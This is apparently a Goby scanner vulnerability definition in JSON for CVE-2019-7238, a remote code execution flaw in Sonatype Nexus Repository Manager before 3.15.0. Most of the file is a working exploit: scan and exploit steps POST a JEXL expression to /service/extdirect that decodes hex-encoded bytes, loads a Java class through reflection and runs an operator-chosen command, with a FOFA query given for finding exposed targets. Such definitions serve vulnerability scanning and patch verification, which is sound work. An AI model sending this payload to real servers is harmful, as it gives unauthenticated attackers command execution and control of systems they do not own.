{
  "Name": "Nexus Repository Manager 3 RCE (CVE-2019-7238)",
  "Description": "Sonatype Nexus Repository Manager before 3.15.0 has Incorrect Access Control.",
  "Product": "Nexus-Repository-Manager",
  "Homepage": "https://www.sonatype.com/nexus-repository-oss",
  "DisclosureDate": "2019-03-21",
  "Author": "mahui@gobies.org",
  "GifAddress": "https://raw.githubusercontent.com/gobysec/GobyVuls/master/Nexus/CVE-2019-7238/CVE-2019-7238.gif",
  "FofaQuery": "app=\"Nexus-Repository-Manager\"",
  "Level": "3",
  "Impact": "<p>Nexus Repository Manager远程命令执行，可在未授权情况下对系统执行命令，导致系统被控制。<br></p>",
  "Recommandation": "<p><span style=\"color: rgb(51, 51, 51); font-size: 16px;\">升级Nexus Repository Manager至最新版本</span><br></p>",
  "References": [
    "https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019",
    "https://nvd.nist.gov/vuln/detail/CVE-2019-7238",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7238"
  ],
  "HasExp": true,
  "ExpParams": [
	{
      "Name": "cmd",
      "Type": "input",
	  "show": "",
      "Value": "whoami"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
   {
	"Request": {
		"set_variable": ["cmd|define|text|dir"],
		"method": "POST",
		"uri": "/service/extdirect",
		"follow_redirect": true,
		"header": {
			"Proxy-Connection": "keep-alive",
			"X-Requested-With": "XMLHttpRequest",
			"X-Nexus-UI": "true",
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36",
			"Content-Type": "application/json",
			"Accept": "*/*",
			"Accept-Encoding": "gzip, deflate",
			"Accept-Language": "zh-CN,zh;q=0.9"
		},
		"data_type": "text",
		"data": "{\"action\": \"coreui_Component\", \"type\": \"rpc\", \"tid\": 8, \"data\": [{\"sort\": [{\"direction\": \"ASC\", \"property\": \"name\"}], \"start\": 0, \"filter\": [{\"property\": \"repositoryName\", \"value\": \"*\"}, {\"property\": \"expression\", \"value\": \"function(x, y, z, c, integer, defineClass){   c=1.class.forName('java.lang.Character');   integer=1.class;   x='[encoded data, 6108 characters]';   y=0;   z='';   while (y lt x.length()){       z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0];       y += 2;   };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \\ndefineClass.setAccessible(true);\\nx=defineClass.invoke(\\n    y,\\n   'Exploit.Test234',\\n    z.getBytes('latin1'),    0,\\n    3054\\n);x.getMethod('test', ''.class).invoke(null, '{{{cmd}}}');'done!'}\\n\"}, {\"property\": \"type\", \"value\": \"jexl\"}], \"limit\": 50, \"page\": 1}], \"method\": \"previewAssets\"}"
	},
	"ResponseTest": {
		"type": "group",
		"operation": "AND",
		"checks": [
			{
				"type": "item",
				"variable": "$body",
				"operation": "contains",
				"value": "bin",
				"bz": ""
			},
			{
				"type": "item",
				"variable": "$body",
				"operation": "contains",
				"value": "NOTICE.txt", 
				"bz": ""
			},
			{
				"type": "item",
				"variable": "$code",
				"operation": "==",
				"value": "200",
				"bz": ""
			}
		]
	},
	"SetVariable": []
	}
  ],
  "ExploitSteps": [
    "AND",
   {
	"Request": {
		"method": "POST",
		"uri": "/service/extdirect",
		"follow_redirect": true,
		"header": {
			"Proxy-Connection": "keep-alive",
			"X-Requested-With": "XMLHttpRequest",
			"X-Nexus-UI": "true",
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36",
			"Content-Type": "application/json",
			"Accept": "*/*",
			"Accept-Encoding": "gzip, deflate",
			"Accept-Language": "zh-CN,zh;q=0.9"
		},
		"data_type": "text",
		"data": "{\"action\": \"coreui_Component\", \"type\": \"rpc\", \"tid\": 8, \"data\": [{\"sort\": [{\"direction\": \"ASC\", \"property\": \"name\"}], \"start\": 0, \"filter\": [{\"property\": \"repositoryName\", \"value\": \"*\"}, {\"property\": \"expression\", \"value\": \"function(x, y, z, c, integer, defineClass){   c=1.class.forName('java.lang.Character');   integer=1.class;   x='[encoded data, 6108 characters]';   y=0;   z='';   while (y lt x.length()){       z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0];       y += 2;   };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \\ndefineClass.setAccessible(true);\\nx=defineClass.invoke(\\n    y,\\n   'Exploit.Test234',\\n    z.getBytes('latin1'),    0,\\n    3054\\n);x.getMethod('test', ''.class).invoke(null, '{{{cmd}}}');'done!'}\\n\"}, {\"property\": \"type\", \"value\": \"jexl\"}], \"limit\": 50, \"page\": 1}], \"method\": \"previewAssets\"}"
	
		},
	"SetVariable": ["output|lastbody"]
	}
  ],
  "Tags": ["rce"],
  "CVEIDs": [
    "CVE-2019-7238"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": ["Nexus-Repository-Manager"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}